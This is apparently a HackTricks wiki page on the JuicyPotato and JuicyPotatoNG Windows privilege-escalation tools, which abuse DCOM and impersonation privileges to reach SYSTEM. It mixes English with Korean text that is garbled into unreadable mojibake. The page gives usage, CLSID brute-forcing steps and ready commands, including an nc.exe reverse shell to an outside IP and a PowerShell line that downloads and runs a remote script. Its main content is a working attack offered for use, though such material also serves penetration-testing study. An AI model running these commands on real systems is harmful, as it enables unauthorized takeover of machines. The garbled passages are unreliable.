JuicyPotato
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
[!WARNING] > JuicyPotato๋ ๋ ๊ฑฐ์์ ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก Windows 10 1803 / Windows Server 2016๊น์ง์ Windows ๋ฒ์ ์์ ์๋ํฉ๋๋ค. Microsoft๊ฐ Windows 10 1809 / Server 2019์์ ๋์ ํ ๋ณ๊ฒฝ์ฌํญ๋ค์ ์๋ ๊ธฐ๋ฒ์ ๊นจ๋จ๋ ธ์ต๋๋ค. ํด๋น ๋น๋ ๋ฐ ๊ทธ ์ดํ ๋ฒ์ ์์๋ PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato ๋ฑ๊ณผ ๊ฐ์ ์ต์ ๋์์ ๊ณ ๋ คํ์ญ์์ค. ์ต์ ์ต์ ๊ณผ ์ฌ์ฉ๋ฒ์ ์๋ ํ์ด์ง๋ฅผ ์ฐธ์กฐํ์ธ์.
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Juicy Potato (๊ณจ๋ ๊ถํ ์ ์ฉ)
A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM
You can download juicypotato from https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Compatibility quick notes
- ํ์ฌ ์ปจํ ์คํธ์ SeImpersonatePrivilege ๋๋ SeAssignPrimaryTokenPrivilege๊ฐ ์๋ ๊ฒฝ์ฐ Windows 10 1803 ๋ฐ Windows Server 2016๊น์ง ์ ๋ขฐ์ฑ ์๊ฒ ๋์ํฉ๋๋ค.
- Windows 10 1809 / Windows Server 2019 ์ดํ์ Microsoft ํ๋๋์ผ๋ก ์ธํด ๋์ํ์ง ์์ต๋๋ค. ํด๋น ๋น๋์์๋ ์์ ๋งํฌ๋ ๋์๋ค์ ์ฌ์ฉํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
Summary
RottenPotatoNG and its variants leverages the privilege escalation chain based on BITS service having the MiTM listener on 127.0.0.1:6666 and when you have SeImpersonate or SeAssignPrimaryToken privileges. During a Windows build review we found a setup where BITS was intentionally disabled and port 6666 was taken.
Windows ๋น๋ ๋ฆฌ๋ทฐ ์ค์ BITS๊ฐ ์๋์ ์ผ๋ก ๋นํ์ฑํ๋์ด ์๊ณ ํฌํธ 6666๊ฐ ์ฌ์ฉ ์ค์ธ ์ค์ ์ ๋ฐ๊ฒฌํ์ต๋๋ค.
We decided to weaponize [RottenPotatoNG]: Say hello to Juicy Potato.
์ด๋ก ์ Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM๋ฅผ ์ฐธ์กฐํ๊ณ ๋งํฌ์ ์ฐธ์กฐ๋ฅผ ๋ฐ๋ผ๊ฐ์ธ์.
We discovered that, other than BITS there are a several COM servers we can abuse. They just need to:
- ํ์ฌ ์ฌ์ฉ์(์ผ๋ฐ์ ์ผ๋ก โservice userโ๋ก, impersonation ๊ถํ์ ๊ฐ์ง ์ฌ์ฉ์)๊ฐ ์ธ์คํด์คํํ ์ ์์ด์ผ ํฉ๋๋ค.
IMarshal์ธํฐํ์ด์ค๋ฅผ ๊ตฌํํด์ผ ํฉ๋๋ค.- elevated user(SYSTEM, Administrator, โฆ)๋ก ์คํ๋์ด์ผ ํฉ๋๋ค.
After some testing we obtained and tested an extensive list of interesting CLSIDโs on several Windows versions.
Juicy details
JuicyPotato allows you to:
- Target CLSID ์ํ๋ CLSID๋ฅผ ์ ํํ์ธ์. Here OS๋ณ๋ก ์ ๋ฆฌ๋ ๋ชฉ๋ก์ ์ฐพ์ ์ ์์ต๋๋ค.
- COM Listening port ์ํ๋ COM ๋ฆฌ์ค๋ ํฌํธ๋ฅผ ์ ์ํ์ธ์ (๋ง์ฌ๋ ํ๋์ฝ๋ฉ๋ 6666 ๋์ ).
- COM Listening IP address ์๋ฒ๋ฅผ ์ํ๋ IP์ ๋ฐ์ธ๋ํ์ธ์.
- Process creation mode ์์๋ก ๊ฐ์ฅ๋ ์ฌ์ฉ์(impersonated user)์ ๊ถํ์ ๋ฐ๋ผ ๋ค์ ์ค ์ ํํ ์ ์์ต๋๋ค:
CreateProcessWithToken(needsSeImpersonate)CreateProcessAsUser(needsSeAssignPrimaryToken)both- Process to launch exploit ์ฑ๊ณต ์ ์คํํ ์คํ ํ์ผ ๋๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ง์ ํฉ๋๋ค.
- Process Argument ์คํ๋ ํ๋ก์ธ์ค์ ์ธ์๋ฅผ ์ปค์คํฐ๋ง์ด์ฆํฉ๋๋ค.
- RPC Server address ์๋ฐํ ์ ๊ทผ์ ์ํด ์ธ๋ถ RPC ์๋ฒ์ ์ธ์ฆํ ์ ์์ต๋๋ค.
- RPC Server port ์ธ๋ถ ์๋ฒ์ ์ธ์ฆํ๋ ค ํ๋๋ฐ ๋ฐฉํ๋ฒฝ์ด ํฌํธ
135๋ฅผ ์ฐจ๋จํ๋ ๊ฒฝ์ฐ ์ ์ฉํฉ๋๋คโฆ - TEST mode ์ฃผ๋ก ํ ์คํธ ๋ชฉ์ (์: CLSID ํ ์คํธ)์ ์ํ ๋ชจ๋์ ๋๋ค. DCOM์ ์์ฑํ๊ณ ํ ํฐ์ ์ฌ์ฉ์๋ฅผ ์ถ๋ ฅํฉ๋๋ค. ํ ์คํธ ๊ด๋ จ ๋ด์ฉ์ here for testing ์ ์ฐธ์กฐํ์ธ์.
Usage
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
์ต์ข ๊ณ ์ฐฐ
์ฌ์ฉ์๊ฐ SeImpersonate ๋๋ SeAssignPrimaryToken ๊ถํ์ ๊ฐ์ง๊ณ ์๋ค๋ฉด ๋น์ ์ SYSTEM ์
๋๋ค.
์ด ๋ชจ๋ COM Servers์ ๋จ์ฉ์ ์์ ํ ๋ง๋ ๊ฒ์ ๊ฑฐ์ ๋ถ๊ฐ๋ฅํฉ๋๋ค. DCOMCNFG๋ฅผ ํตํด ํด๋น ๊ฐ์ฒด๋ค์ ๊ถํ์ ์์ ํ๋ ๊ฒ์ ๊ณ ๋ คํ ์๋ ์์ง๋ง, ์ฑ๊ณตํ๊ธฐ ์ฝ์ง ์์ ๊ฒ์
๋๋ค.
์ค์ ํด๊ฒฐ์ฑ
์ * SERVICE ๊ณ์ ์ผ๋ก ์คํ๋๋ ๋ฏผ๊ฐํ ๊ณ์ ๊ณผ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ณดํธํ๋ ๊ฒ์
๋๋ค. DCOM์ ์ค์งํ๋ฉด ์ด ์ต์คํ๋ก์์ ์ต์ ํ ์๋ ์๊ฒ ์ง๋ง, ๊ธฐ๋ณธ OS์ ์ฌ๊ฐํ ์ํฅ์ ์ค ์ ์์ต๋๋ค.
From: http://ohpe.it/juicy-potato/
JuicyPotatoNG (2022+)
JuicyPotatoNG๋ ๋ค์์ ๊ฒฐํฉํ์ฌ ์ต์ Windows์์ JuicyPotato ์คํ์ผ์ local privilege escalation์ ์ฌ๋์ ํฉ๋๋ค:
- DCOM OXID resolution์ ์ ํํ ํฌํธ์ ๋ก์ปฌ RPC server๋ก ์ํํ์ฌ, ์ด์ ์ ํ๋์ฝ๋ฉ๋ 127.0.0.1:6666 ๋ฆฌ์ค๋๋ฅผ ํผํจ.
- SSPI hook์ ํตํด RpcImpersonateClient๋ฅผ ์๊ตฌํ์ง ์๊ณ ๋ค์ด์ค๋ SYSTEM ์ธ์ฆ์ ์บก์ฒํ๊ณ ๊ฐ์ฅ(impersonate)ํจ. ์ด๋ ๋ํ SeAssignPrimaryTokenPrivilege๋ง ์๋ ๊ฒฝ์ฐ์๋ CreateProcessAsUser๋ฅผ ๊ฐ๋ฅํ๊ฒ ํจ.
- DCOM activation ์ ์ฝ์ ๋ง์กฑ์ํค๊ธฐ ์ํ ํธ๋ฆญ๋ค(์: PrintNotify / ActiveX Installer Service ํด๋์ค๋ฅผ ๋์์ผ๋ก ํ ๋ ์ด์ ์ INTERACTIVE-group ์๊ตฌ์ฌํญ).
์ค์ ์ฐธ๊ณ ์ฌํญ (๋น๋๋ณ ๋์ ๋ณํ):
- September 2022: ์ด๊ธฐ ๊ธฐ๋ฒ์ โINTERACTIVE trickโ์ ์ฌ์ฉํ์ฌ ์ง์๋๋ Windows 10/11 ๋ฐ Server ๋์์์ ๋์ํจ.
- January 2023 update from the authors: Microsoft๊ฐ ์ดํ INTERACTIVE trick์ ์ฐจ๋จํจ. ๋ค๋ฅธ CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7})๊ฐ ์ต์คํ๋ก์์ ๋ณต์ํ์ง๋ง, ๊ฒ์๋ฌผ์ ๋ฐ๋ฅด๋ฉด ์ด๋ Windows 11 / Server 2022์์๋ง ์๋ํจ.
Basic usage (more flags in the help):
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
# -b Bruteforce all CLSIDs (testing only; spawns many processes)
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
Windows 10 1809 / Server 2019์์ ํด๋์ JuicyPotato๊ฐ ํจ์น๋ ๊ฒฝ์ฐ, ๋งจ ์์ ๋งํฌ๋ ๋์๋ค(RoguePotato, PrintSpoofer, EfsPotato/GodPotato ๋ฑ)์ ์ฐ์ ์ฌ์ฉํ์ธ์. NG๋ ๋น๋ ๋ฐ ์๋น์ค ์ํ์ ๋ฐ๋ผ ์ํฉ์ ๋ฐ๋ผ ๋ค๋ฅผ ์ ์์ต๋๋ค.
์์
์ฐธ๊ณ : ์๋ํด๋ณผ CLSID ๋ชฉ๋ก์ this page์์ ํ์ธํ์ธ์.
nc.exe reverse shell ์ป๊ธฐ
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell ๋ฆฌ๋ฒ์ค
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Launch a new CMD (if you have RDP access)
.png)
CLSID Problems
์ข ์ข JuicyPotato๊ฐ ์ฌ์ฉํ๋ ๊ธฐ๋ณธ CLSID๋ ์๋ํ์ง ์์์ ์ต์คํ๋ก์์ด ์คํจํฉ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ์๋ํ๋ CLSID๋ฅผ ์ฐพ๊ธฐ ์ํด ์ฌ๋ฌ ๋ฒ ์๋ํด์ผ ํฉ๋๋ค. ํน์ ์ด์์ฒด์ ์์ ์๋ํ CLSID ๋ชฉ๋ก์ ์ป์ผ๋ ค๋ฉด ๋ค์ ํ์ด์ง๋ฅผ ๋ฐฉ๋ฌธํ์ธ์:
Checking CLSIDs
๋จผ์ , juicypotato.exe ์ธ์ ๋ช ๊ฐ์ง ์คํ ํ์ผ์ด ํ์ํฉ๋๋ค.
Join-Object.ps1๋ฅผ ๋ค์ด๋ก๋ํด PS ์ธ์ ์ ๋ก๋ํ๊ณ , GetCLSID.ps1๋ฅผ ๋ค์ด๋ก๋ํ์ฌ ์คํํ์ธ์. ํด๋น ์คํฌ๋ฆฝํธ๋ ํ ์คํธํ ์ ์๋ CLSID ๋ชฉ๋ก์ ์์ฑํฉ๋๋ค.
๊ทธ๋ค์ test_clsid.bat ์ ๋ค์ด๋ก๋(ํด๋์คID ๋ชฉ๋ก๊ณผ juicypotato ์คํ ํ์ผ์ ๊ฒฝ๋ก๋ฅผ ๋ณ๊ฒฝํ์ธ์)ํ๊ณ ์คํํ์ธ์. ์ด ์คํฌ๋ฆฝํธ๋ ๋ชจ๋ CLSID๋ฅผ ์ฐจ๋ก๋ก ์๋ํ๊ธฐ ์์ํ๋ฉฐ, ํฌํธ ๋ฒํธ๊ฐ ๋ณ๊ฒฝ๋๋ฉด ๊ทธ CLSID๊ฐ ์๋ํ๋ค๋ ์๋ฏธ์ ๋๋ค.
-c ํ๋ผ๋ฏธํฐ๋ฅผ ์ฌ์ฉํ์ฌ ์๋ํ๋ CLSID๋ฅผ ํ์ธํ์ธ์
References
- https://github.com/ohpe/juicy-potato/blob/master/README.md
- Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


